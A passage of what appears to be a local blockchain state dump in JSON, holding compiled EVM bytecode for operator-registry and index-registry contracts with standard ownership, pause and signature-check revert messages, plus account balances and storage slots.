4820152608401610968565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610c51565b6000818152609860205260408120548082036122305750600092915050565b6000838152609860205260409020612249600183615390565b81548110612259576122596150f3565b600091825260209091200154600160401b90046001600160c01b03169392505050565b606060008061228a8461388f565b61ffff166001600160401b038111156122a5576122a5614519565b6040519080825280601f01601f1916602001820160405280156122cf576020820181803683370190505b5090506000805b8251821080156122e7575061010081105b1561233e576001811b93508584161561232e578060f81b838381518110612310576123106150f3565b60200101906001600160f81b031916908160001a9053508160010191505b612337816153a3565b90506122d6565b5090949350505050565b60018260200151600281111561236057612360614761565b1461236a57505050565b81516040516333567f7f60e11b81526000906001600160a01b037f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e16906366acfefe906123bf908890869088906004016153bc565b6020604051808303816000875af11580156123de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061240291906153ec565b90506001600160c01b0381161561242e5761242e85612429836001600160c01b031661227c565b612886565b5050505050565b3361243e6117c0565b6001600160a01b0316146117695760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610968565b6001600160a01b0381166125225760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610968565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b609d54604080516001600160a01b03928316815291831660208301527f315457d8a8fe60f04af17c16e2f5a5e1db612b31648e58030360759ef8f3528c910160405180910390a1609d80546001600160a01b0319166001600160a01b0392909216919091179055565b609e54604080516001600160a01b03928316815291831660208301527f8f30ab09f43a6c157d7fce7e0a13c003042c1c95e8a72e7a146a21c0caa24dc9910160405180910390a1609e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610ee46126786138ba565b8360405161190160f01b6020820152602281018390526042810182905260009060620160405160208183030381529060405280519060200120905092915050565b6040805180820190915260008082526020820152600080806126e96000805160206158938339815191528661542b565b90505b6126f5816139e1565b9093509150600080516020615893833981519152828309830361272e576040805180820190915290815260208101919091529392505050565b6000805160206158938339815191526001820890506126ec565b60008061275484613a63565b9050808360ff166001901b116127d25760405162461bcd60e51b815260206004820152603f60248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206269746d61702065786365656473206d61782076616c7565006064820152608401610968565b9392505050565b60ff8216600081815260976020908152604091829020845181548684018051888701805163ffffffff90951665ffffffffffff199094168417600160201b61ffff938416021767ffff0000000000001916600160301b95831695909502949094179094558551918252518316938101939093525116918101919091527f3ee6fe8d54610244c3e9d3c066ae4aee997884aa28f10616ae821925401318ac9060600160405180910390a25050565b6001600160a01b0382166000908152609960205260409020805460018083015460ff1660028111156128ba576128ba614761565b146128ef5760405162461bcd60e51b81526020600482015260056024820152646f2152656760d81b6044820152606401610968565b60965460009061290390859060ff16612748565b9050600061291083612211565b90506001600160c01b0382166129515760405162461bcd60e51b815260040161096890602080825260049082015263071456d760e41b604082015260600190565b6129686001600160c01b0383811690831681161490565b61299d5760405162461bcd60e51b81526004016109689060208082526004908201526310a9bab160e11b604082015260600190565b6001600160c01b03828116198216166129b68482613beb565b6001600160c01b038116612a855760018501805460ff191660021790556040516351b27a6d60e11b81526001600160a01b0388811660048301527f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c169063a364f4da90602401600060405180830381600087803b158015612a3657600080fd5b505af1158015612a4a573d6000803e3d6000fd5b50506040518692506001600160a01b038a1691507f396fdcb180cb0fea26928113fb0fd1c3549863f9cd563e6a184f1d578116c8e490600090a35b60405163f4e24fe560e01b81526001600160a01b037f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc49169063f4e24fe590612ad3908a908a9060040161543f565b600060405180830381600087803b158015612aed57600080fd5b505af1158015612b01573d6000803e3d6000fd5b505060405163bd29b8cd60e01b81526001600160a01b037f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e16925063bd29b8cd9150612b539087908a90600401615463565b600060405180830381600087803b158015612b6d57600080fd5b505af1158015612b81573d6000803e3d6000fd5b505060405163bd29b8cd60e01b81526001600160a01b037f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf611377816925063bd29b8cd9150612bd39087908a90600401615463565b600060405180830381600087803b158015612bed57600080fd5b505af1158015612c01573d6000803e3d6000fd5b5050505050505050505050565b606480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6040516309aa152760e11b81526001600160a01b0383811660048301526000917f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc49909116906313542a4e90602401602060405180830381865afa158015612ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cef919061547c565b90506000819003610ee4577f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc496001600160a01b031663bf79ce588484612d3487610fe9565b6040518463ffffffff1660e01b8152600401612d5293929190615495565b6020604051808303816000875af1158015612d71573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127d2919061547c565b6020808201516000908152609a909152604090205460ff1615612de35760405162461bcd60e51b815260206004820152600660248201526518da14d85b1d60d21b6044820152606401610968565b4281604001511015612e1f5760405162461bcd60e51b8152602060048201526005602482015264063684578760dc1b6044820152606401610968565b602080820180516000908152609a909252604091829020805460ff19166001179055609d54905191830151610a48926001600160a01b0390921691612e6a918891889188919061176b565b8351613dac565b612e9560405180606001604052806060815260200160608152602001606081525090565b6000612edd86868080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505060965460ff1691506127489050565b90506000612eea88612211565b90506001600160c01b038216612f2b5760405162461bcd60e51b815260040161096890602080825260049082015263071456d760e41b604082015260600190565b8082166001600160c01b031615612f6d5760405162461bcd60e51b81526004016109689060208082526004908201526308509a5d60e21b604082015260600190565b60a0546001600160a01b038a166000908152609f60205260409020546001600160c01b0383811690851617914291612fa591906152af565b10612fda5760405162461bcd60e51b815260206004820152600560248201526410b7b822b560d91b6044820152606401610968565b612fe48982613beb565b887fec2963ab21c1e50e1e582aa542af2e4bf7bf38e6e1403c27b42e1c5d6e621eaa87604051613014919061514f565b60405180910390a260016001600160a01b038b1660009081526099602052604090206001015460ff16600281111561304e5761304e614761565b14613167576040805180820182528a8152600160208083018281526001600160a01b038f166000908152609990925293902082518155925183820180549394939192909160ff1916908360028111156130a9576130a9614761565b021790555050604051639926ee7d60e01b81526001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c169150639926ee7d906130fe908d908990600401615505565b600060405180830381600087803b15801561311857600080fd5b505af115801561312c573d6000803e3d6000fd5b50506040518b92506001600160a01b038d1691507fe8e68cef1c3a761ed7be7e8463a375f27f7bc335e51824223cacce636ec5c3fe90600090a35b604051631fd93ca960e11b81526001600160a01b037f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc491690633fb27952906131b7908d908c908c90600401615579565b600060405180830381600087803b1580156131d157600080fd5b505af11580156131e5573d6000803e3d6000fd5b5050604051632550477760e01b81526001600160a01b037f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e1692506325504777915061323b908d908d908d908d9060040161559e565b6000604051808303816000875af115801561325a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613282919081019061562e565b60408087019190915260208601919091525162bff04d60e01b81526001600160a01b037f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf6113778169062bff04d906132df908c908c908c90600401615691565b6000604051808303816000875af11580156132fe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261332691908101906156ab565b84525050509695505050505050565b6020808301516001600160a01b038082166000818152609990945260409093205491929087160361338e5760405162461bcd60e51b815260206004820152600360248201526206368360ec1b6044820152606401610968565b8760ff16846000015160ff16146133cd5760405162461bcd60e51b815260206004820152600360248201526263683160e81b6044820152606401610968565b604051635401ed2760e01b81526004810182905260ff891660248201526000907f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e6001600160a01b031690635401ed2790604401602060405180830381865afa15801561343e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134629190615744565b905061346e8185613f66565b6001600160601b0316866001600160601b0316116134b45760405162461bcd60e51b815260206004820152600360248201526231b41960e91b6044820152606401610968565b6134be8885613f8a565b6001600160601b0316816001600160601b031610611c4c5760405162461bcd60e51b815260206004820152600360248201526263683360e81b6044820152606401610968565b600081815260986020526040812054815b8181101561358c5760016135298284615390565b6135339190615390565b92508463ffffffff16609860008681526020019081526020016000208463ffffffff1681548110613566576135666150f3565b60009182526020909120015463ffffffff1611613584575050610ee4565b600101613515565b5060405162461bcd60e51b81526020600482015260056024820152644f2152656760d81b6044820152606401610968565b60965460ff1660c081106135fc5760405162461bcd60e51b8152600401610968906020808252600490820152630e29ac2f60e31b604082015260600190565b613607816001615761565b6096805460ff191660ff929092169190911790558061362681866127d9565b60405160016296b58960e01b031981526001600160a01b037f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e169063ff694a77906136799084908890889060040161577a565b600060405180830381600087803b15801561369357600080fd5b505af11580156136a7573d6000803e3d6000fd5b505060405163136ca0f960e11b815260ff841660048201527f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b031692506326d941f29150602401600060405180830381600087803b15801561370f57600080fd5b505af1158015613723573d6000803e3d6000fd5b505060405163136ca0f960e11b815260ff841660048201527f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc496001600160a01b031692506326d941f29150602401600060405180830381600087803b15801561378b57600080fd5b505af1158015611c4c573d6000803e3d6000fd5b6000546201000090046001600160a01b03161580156137c657506001600160a01b03821615155b6138485760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610968565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261388b82612494565b5050565b6000805b8215610ee4576138a4600184615390565b90921691806138b2816157f6565b915050613893565b6000306001600160a01b037f00000000000000000000000036c02da8a0983159322a80ffe9f24b1acff8b5701614801561391357507f0000000000000000000000000000000000000000000000000000000000007a6946145b1561393d57507fd8cea607dc87be4701da97f1f02070e2cf469db0dbbbfc55a7d169f75da1f4bc90565b50604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6020808301919091527f6ec8a99f0e7f9ebde7354a446dcb9423f3af9c58f386a53c59c5b384f9e82d11828401527f6bda7e3f385e48841048390444cced5cc795af87758af67622e5f4f0882c4a9960608301524660808301523060a0808401919091528351808403909101815260c0909201909252805191012090565b60008080600080516020615893833981519152600360008051602061589383398151915286600080516020615893833981519152888909090890506000613a57827f0c19139cb84c680a6e14116da060561765e05aa45a1c72a34f082305b61f3f52600080516020615893833981519152613fa4565b91959194509092505050565b600061010082511115613aec5760405162461bcd60e51b8152602060048201526044602482018190527f4269746d61705574696c732e6f72646572656442797465734172726179546f42908201527f69746d61703a206f7264657265644279746573417272617920697320746f6f206064820152636c6f6e6760e01b608482015260a401610968565b8151600003613afd57506000919050565b60008083600081518110613b1357613b136150f3565b0160200151600160f89190911c81901b92505b8451811015613be257848181518110613b4157613b416150f3565b0160200151600160f89190911c1b9150828211613bd65760405162461bcd60e51b815260206004820152604760248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206f72646572656442797465734172726179206973206e6f74206064820152661bdc99195c995960ca1b608482015260a401610968565b91811791600101613b26565b50909392505050565b60008281526098602052604081205490819003613c93576000838152609860209081526040808320815160608101835263ffffffff43811682528185018681526001600160c01b03808a16958401958652845460018101865594885295909620915191909201805495519351909416600160401b026001600160401b03938316600160201b0267ffffffffffffffff1990961691909216179390931716919091179055505050565b6000838152609860205260408120613cac600184615390565b81548110613cbc57613cbc6150f3565b6000918252602090912001805490915063ffffffff438116911603613cfe5780546001600160401b0316600160401b6001600160c01b03851602178155610a48565b805463ffffffff438116600160201b81810267ffffffff0000000019909416939093178455600087815260986020908152604080832081516060810183529485528483018481526001600160c01b03808c1693870193845282546001810184559286529390942094519401805493519151909216600160401b026001600160401b0391861690960267ffffffffffffffff199093169390941692909217179190911691909117905550505050565b6001600160a01b0383163b15613ec657604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90613dec9086908690600401615463565b602060405180830381865afa158015613e09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e2d9190615817565b6001600160e01b031916146115d35760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610968565b826001600160a01b0316613eda838361404d565b6001600160a01b0316146115d35760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610968565b602081015160009061271090613f809061ffff1685615841565b6127d2919061586c565b604081015160009061271090613f809061ffff1685615841565b600080613faf6143b3565b613fb76143d1565b602080825281810181905260408201819052606082018890526080820187905260a082018690528260c08360056107d05a03fa92508280613ff457fe5b50826140425760405162461bcd60e51b815260206004820152601a60248201527f424e3235342e6578704d6f643a2063616c6c206661696c7572650000000000006044820152606401610968565b505195945050505050565b600080600061405c8585614069565b91509150611cfe816140d7565b600080825160410361409f5760208301516040840151606085015160001a6140938782858561428d565b945094505050506140d0565b82516040036140c857602083015160408401516140bd86838361437a565b9350935050506140d0565b506000905060025b9250929050565b60008160048111156140eb576140eb614761565b036140f35750565b600181600481111561410757614107614761565b036141545760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610968565b600281600481111561416857614168614761565b036141b55760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610968565b60038160048111156141c9576141c9614761565b036142215760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610968565b600481600481111561423557614235614761565b03610d195760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610968565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156142c45750600090506003614371565b8460ff16601b141580156142dc57508460ff16601c14155b156142ed5750600090506004614371565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614341573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661436a57600060019250925050614371565b9150600090505b94509492505050565b6000806001600160ff1b0383168161439760ff86901c601b6152af565b90506143a58782888561428d565b935093505050935093915050565b60405180602001604052806001906020820280368337509192915050565b6040518060c001604052806006906020820280368337509192915050565b60008083601f84011261440157600080fd5b5081356001600160401b0381111561441857600080fd5b6020830191508360208260051b85010111156140d057600080fd5b6000806020838503121561444657600080fd5b82356001600160401b0381111561445c57600080fd5b614468858286016143ef565b90969095509350505050565b60006020828403121561448657600080fd5b5035919050565b63ffffffff81168114610d1957600080fd5b6000806000606084860312156144b457600080fd5b8335925060208401356144c68161448d565b929592945050506040919091013590565b6001600160a01b0381168114610d1957600080fd5b80356144f7816144d7565b919050565b60006020828403121561450e57600080fd5b81356127d2816144d7565b634e487b7160e01b600052604160045260246000fd5b604051606081016001600160401b038111828210171561455157614551614519565b60405290565b604080519081016001600160401b038111828210171561455157614551614519565b604051601f8201601f191681016001600160401b03811182821017156145a1576145a1614519565b604052919050565b60006001600160401b038311156145c2576145c2614519565b6145d5601f8401601f1916602001614579565b90508281528383830111156145e957600080fd5b828260208301376000602084830101529392505050565b60006020828403121561461257600080fd5b81356001600160401b0381111561462857600080fd5b8201601f8101841361463957600080fd5b614648848235602084016145a9565b949350505050565b6000806040838503121561466357600080fd5b50508035926020909101359150565b803560ff811681146144f757600080fd5b60006020828403121561469557600080fd5b6127d282614672565b815181526020808301519082015260408101610ee4565b60008083601f8401126146c757600080fd5b5081356001600160401b038111156146de57600080fd5b6020830191508360208285010111156140d057600080fd5b6000806000806040858703121561470c57600080fd5b84356001600160401b038082111561472357600080fd5b61472f888389016143ef565b9096509450602087013591508082111561474857600080fd5b50614755878288016146b5565b95989497509550505050565b634e487b7160e01b600052602160045260246000fd5b6003811061479557634e487b7160e01b600052602160045260246000fd5b9052565b8151815260208083015160408301916147b490840182614777565b5092915050565b803561ffff811681146144f757600080fd5b6000606082840312156147df57600080fd5b6147e761452f565b905081356147f48161448d565b8152614802602083016147bb565b6020820152614813604083016147bb565b604082015292915050565b6000806080838503121561483157600080fd5b61483a83614672565b915061484984602085016147cd565b90509250929050565b60008060006040848603121561486757600080fd5b8335614872816144d7565b925060208401356001600160401b0381111561488d57600080fd5b614899868287016146b5565b9497909650939450505050565b60006001600160401b038211156148bf576148bf614519565b5060051b60200190565b6000604082840312156148db57600080fd5b6148e3614557565b90506148ee82614672565b815260208201356148fe816144d7565b602082015292915050565b600080600080600060a0868803121561492157600080fd5b853561492c816144d7565b945060208681013594506040808801356001600160401b0381111561495057600080fd5b8801601f81018a1361496157600080fd5b803561497461496f826148a6565b614579565b8082825260208201915060208360061b85010192508c83111561499657600080fd5b6020840193505b828410156149be576149af8d856148c9565b8252928401929085019061499d565b999c989b5098996060810135995060800135979650505050505050565b600061010082840312156149ee57600080fd5b50919050565b60008083601f840112614a0657600080fd5b5081356001600160401b03811115614a1d57600080fd5b6020830191508360208260061b85010111156140d057600080fd5b600060608284031215614a4a57600080fd5b614a5261452f565b905081356001600160401b03811115614a6a57600080fd5b8201601f81018413614a7b57600080fd5b614a8a848235602084016145a9565b825250602082013560208201526040820135604082015292915050565b60008060008060008060008060006101a08a8c031215614ac657600080fd5b89356001600160401b0380821115614add57600080fd5b614ae98d838e016146b5565b909b50995060208c0135915080821115614b0257600080fd5b614b0e8d838e016146b5565b9099509750879150614b238d60408e016149db565b96506101408c0135915080821115614b3a57600080fd5b614b468d838e016149f4565b90965094506101608c0135915080821115614b6057600080fd5b614b6c8d838e01614a38565b93506101808c0135915080821115614b8357600080fd5b50614b908c828d01614a38565b9150509295985092959850929598565b6000806000806000806101608789031215614bba57600080fd5b86356001600160401b0380821115614bd157600080fd5b614bdd8a838b016146b5565b90985096506020890135915080821115614bf657600080fd5b614c028a838b016146b5565b9096509450849150614c178a60408b016149db565b9350610140890135915080821115614c2e57600080fd5b50614c3b89828a01614a38565b9150509295509295509295565b60008060408385031215614c5b57600080fd5b8235614c668161448d565b91506020838101356001600160401b03811115614c8257600080fd5b8401601f81018613614c9357600080fd5b8035614ca161496f826148a6565b81815260059190911b82018301908381019088831115614cc057600080fd5b928401925b82841015614cde57833582529284019290840190614cc5565b80955050505050509250929050565b6020808252825182820181905260009190848201906040850190845b81811015614d2b57835163ffffffff1683529284019291840191600101614d09565b50909695505050505050565b60008060208385031215614d4a57600080fd5b82356001600160401b03811115614d6057600080fd5b614468858286016146b5565b6001600160601b0381168114610d1957600080fd5b600082601f830112614d9257600080fd5b81356020614da261496f836148a6565b82815260069290921b84018101918181019086841115614dc157600080fd5b8286015b84811015614e125760408189031215614dde5760008081fd5b614de6614557565b8135614df1816144d7565b815281850135614e0081614d6c565b81860152835291830191604001614dc5565b509695505050505050565b600080600060a08486031215614e3257600080fd5b614e3c85856147cd565b92506060840135614e4c81614d6c565b915060808401356001600160401b03811115614e6757600080fd5b614e7386828701614d81565b9150509250925092565b600082601f830112614e8e57600080fd5b81356020614e9e61496f836148a6565b808382526020820191506060602060608602880101945087851115614ec257600080fd5b602087015b85811015614ee657614ed989826147cd565b8452928401928101614ec7565b5090979650505050505050565b600082601f830112614f0457600080fd5b81356020614f1461496f836148a6565b8083825260208201915060208460051b870101935086841115614f3657600080fd5b602086015b84811015614e12578035614f4e81614d6c565b8352918301918301614f3b565b600082601f830112614f6c57600080fd5b81356020614f7c61496f836148a6565b82815260059290921b84018101918181019086841115614f9b57600080fd5b8286015b84811015614e125780356001600160401b03811115614fbe5760008081fd5b614fcc8986838b0101614d81565b845250918301918301614f9f565b600080600080600080600080610100898b031215614ff757600080fd5b615000896144ec565b975061500e60208a016144ec565b965061501c60408a016144ec565b955061502a60608a016144ec565b94506080890135935060a08901356001600160401b038082111561504d57600080fd5b6150598c838d01614e7d565b945060c08b013591508082111561506f57600080fd5b61507b8c838d01614ef3565b935060e08b013591508082111561509157600080fd5b5061509e8b828c01614f5b565b9150509295985092959890939650565b60208101610ee48284614777565b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000815180845260005b8181101561512f57602081850181015186830182015201615113565b506000602082860101526020601f19601f83011685010191505092915050565b6020815260006127d26020830184615109565b60006020828403121561517457600080fd5b81516127d2816144d7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b6000602082840312156151db57600080fd5b815180151581146127d257600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000808335601e1984360301811261524a57600080fd5b8301803591506001600160401b0382111561526457600080fd5b6020019150600581901b36038213156140d057600080fd5b60006020828403121561528e57600080fd5b81516127d28161448d565b634e487b7160e01b600052601160045260246000fd5b80820180821115610ee457610ee4615299565b600080858511156152d257600080fd5b838611156152df57600080fd5b5050820193919092039150565b600060c08201888352602060018060a01b03808a166020860152604089604087015260c0606087015283895180865260e08801915060208b01955060005b81811015615354578651805160ff168452860151851686840152958501959183019160010161532a565b505060808701989098525050505060a09091019190915250949350505050565b60006040828403121561538657600080fd5b6127d283836148c9565b81810381811115610ee457610ee4615299565b6000600182016153b5576153b5615299565b5060010190565b60018060a01b03841681528260208201526060604082015260006153e36060830184615109565b95945050505050565b6000602082840312156153fe57600080fd5b81516001600160c01b03811681146127d257600080fd5b634e487b7160e01b600052601260045260246000fd5b60008261543a5761543a615415565b500690565b6001600160a01b038316815260406020820181905260009061464890830184615109565b8281526040602082015260006146486040830184615109565b60006020828403121561548e57600080fd5b5051919050565b6001600160a01b038416815261016081016154bd602083018580358252602090810135910152565b6154d7606083016040860180358252602090810135910152565b60406080850160a0840137604060c0850160e084013782516101208301526020830151610140830152614648565b60018060a01b038316815260406020820152600082516060604084015261552f60a0840182615109565b90506020840151606084015260408401516080840152809150509392505050565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6001600160a01b03841681526040602082018190526000906153e39083018486615550565b60018060a01b03851681528360208201526060604082015260006117ab606083018486615550565b600082601f8301126155d757600080fd5b815160206155e761496f836148a6565b8083825260208201915060208460051b87010193508684111561560957600080fd5b602086015b84811015614e1257805161562181614d6c565b835291830191830161560e565b6000806040838503121561564157600080fd5b82516001600160401b038082111561565857600080fd5b615664868387016155c6565b9350602085015191508082111561567a57600080fd5b50615687858286016155c6565b9150509250929050565b8381526040602082015260006153e3604083018486615550565b600060208083850312156156be57600080fd5b82516001600160401b038111156156d457600080fd5b8301601f810185136156e557600080fd5b80516156f361496f826148a6565b81815260059190911b8201830190838101908783111561571257600080fd5b928401925b8284101561573957835161572a8161448d565b82529284019290840190615717565b979650505050505050565b60006020828403121561575657600080fd5b81516127d281614d6c565b60ff8181168382160190811115610ee457610ee4615299565b60006060820160ff8616835260206001600160601b03808716602086015260406060604087015283875180865260808801915060208901955060005b818110156157e657865180516001600160a01b0316845286015185168684015295850195918301916001016157b6565b50909a9950505050505050505050565b600061ffff80831681810361580d5761580d615299565b6001019392505050565b60006020828403121561582957600080fd5b81516001600160e01b0319811681146127d257600080fd5b6001600160601b0381811683821602808216919082811461586457615864615299565b505092915050565b60006001600160601b038084168061588657615886615415565b9216919091049291505056fe30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47a26469706673582212200e3708a41147f575b52031f19707cb5ed95922585f8720c2b3f23c5c2cb16a4164736f6c63430008180033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000000000000000000000000000000000000000000000ff"}},"0x3c44cdddb6a900fa2b585dd299e03d12fa4293bc":{"nonce":0,"balance":"0x21e19e0c9bab2400000","code":"0x","storage":{}},"0x4826533b4897376654bb4d4ad88b7fafd0c98528":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b50600436106100b35760003560e01c8063890262451161007157806389026245146101b3578063a48bb0ac146101d3578063bd29b8cd146101e6578063caa3cd76146101f9578063e2e685801461020f578063f34109221461025557600080fd5b8062bff04d146100b857806312d1d74d146100e157806326d941f2146101155780632ed583e51461012a5780636d14a9871461013d5780638121906f1461017c575b600080fd5b6100cb6100c6366004610eac565b610268565b6040516100d89190610f28565b60405180910390f35b6100f46100ef366004610f9c565b6103be565b60408051825163ffffffff16815260209283015192810192909252016100d8565b610128610123366004610fcf565b610404565b005b6100f4610138366004610fea565b610528565b6101647f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3681565b6040516001600160a01b0390911681526020016100d8565b61018f61018a366004610fcf565b6105ae565b60408051825163ffffffff90811682526020938401511692810192909252016100d8565b6101c66101c1366004610f9c565b6105f5565b6040516100d8919061102d565b61018f6101e1366004610f9c565b610754565b6101286101f4366004610eac565b6107cb565b610201600081565b6040519081526020016100d8565b61024061021d366004611065565b600160209081526000928352604080842090915290825290205463ffffffff1681565b60405163ffffffff90911681526020016100d8565b610240610263366004610fcf565b6108d5565b6060336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616146102bb5760405162461bcd60e51b81526004016102b29061108f565b60405180910390fd5b60008267ffffffffffffffff8111156102d6576102d6611102565b6040519080825280602002602001820160405280156102ff578160200160208202803683370190505b50905060005b838110156103b357600085858381811061032157610321611118565b919091013560f81c60008181526003602052604081205491935090915081900361035d5760405162461bcd60e51b81526004016102b29061112e565b6000610368836108f4565b905061037f898461037a600185611199565b6109f1565b8085858151811061039257610392611118565b63ffffffff9290921660209283029190910190910152505050600101610305565b5090505b9392505050565b60408051808201909152600080825260208201526103dc8383610a7b565b60408051808201909152815463ffffffff168152600190910154602082015290505b92915050565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f36161461044c5760405162461bcd60e51b81526004016102b29061108f565b60ff8116600090815260036020526040902054156104c65760405162461bcd60e51b815260206004820152603160248201527f496e64657852656769737472792e63726561746551756f72756d3a2071756f72604482015270756d20616c72656164792065786973747360781b60648201526084016102b2565b60ff166000908152600360209081526040808320815180830190925263ffffffff438116835282840185815282546001810184559286529390942091519101805492518416600160201b0267ffffffffffffffff199093169190931617179055565b604080518082019091526000808252602082015260ff8416600090815260026020908152604080832063ffffffff8088168552925290912080549091841690811061057557610575611118565b600091825260209182902060408051808201909152600290920201805463ffffffff168252600101549181019190915290509392505050565b60408051808201909152600080825260208201526105cb82610ad3565b60408051808201909152905463ffffffff8082168352600160201b90910416602082015292915050565b606060006106038484610b15565b905060008163ffffffff1667ffffffffffffffff81111561062657610626611102565b60405190808252806020026020018201604052801561064f578160200160208202803683370190505b50905060005b8263ffffffff1681101561074b5761066e868287610c4a565b82828151811061068057610680611118565b6020026020010181815250506000801b8282815181106106a2576106a2611118565b6020026020010151036107435760405162461bcd60e51b815260206004820152605d60248201527f496e64657852656769737472792e6765744f70657261746f724c69737441744260448201527f6c6f636b4e756d6265723a206f70657261746f7220646f6573206e6f7420657860648201527f6973742061742074686520676976656e20626c6f636b206e756d626572000000608482015260a4016102b2565b600101610655565b50949350505050565b604080518082019091526000808252602082015260ff83166000908152600360205260409020805463ffffffff841690811061079257610792611118565b60009182526020918290206040805180820190915291015463ffffffff8082168352600160201b90910416918101919091529392505050565b336001600160a01b037f000000000000000000000000f5059a5d33d5853360d16c683c16e67980206f3616146108135760405162461bcd60e51b81526004016102b29061108f565b60005b818110156108cf57600083838381811061083257610832611118565b919091013560f81c60008181526003602052604081205491935090915081900361086e5760405162461bcd60e51b81526004016102b29061112e565b60ff8216600090815260016020908152604080832089845290915281205463ffffffff169061089c84610d21565b905060006108aa8583610d5b565b90508089146108be576108be8186856109f1565b505060019093019250610816915050565b50505050565b60006108e082610ad3565b54600160201b900463ffffffff1692915050565b60008061090083610ad3565b805490915060009061092090600160201b900463ffffffff1660016111bd565b905061092d848383610d85565b60ff841660009081526002602052604081209061094b600184611199565b63ffffffff168152602081019190915260400160009081205490036103b75760ff8416600090815260026020526040812090610988600184611199565b63ffffffff908116825260208083019390935260409182016000908120835180850190945243831684528385018281528154600180820184559284529590922093516002909502909301805463ffffffff19169490921693909317815591519101559392505050565b60006109fd8383610a7b565b9050610a0b83838387610e23565b60ff83166000818152600160209081526040808320888452825291829020805463ffffffff191663ffffffff871690811790915582519384529083015285917f6ee1e4f4075f3d067176140d34e87874244dd273294c05b2218133e49a2ba6f6910160405180910390a250505050565b60ff8216600090815260026020908152604080832063ffffffff851684529091528120805490610aac6001836111da565b81548110610abc57610abc611118565b906000526020600020906002020191505092915050565b60ff81166000908152600360205260408120805490610af36001836111da565b81548110610b0357610b03611118565b90600052602060002001915050919050565b60ff8216600090815260036020526040812054805b8015610bbd5760ff85166000908152600360205260408120610b4d6001846111da565b81548110610b5d57610b5d611118565b60009182526020918290206040805180820190915291015463ffffffff808216808452600160201b909204811693830193909352909250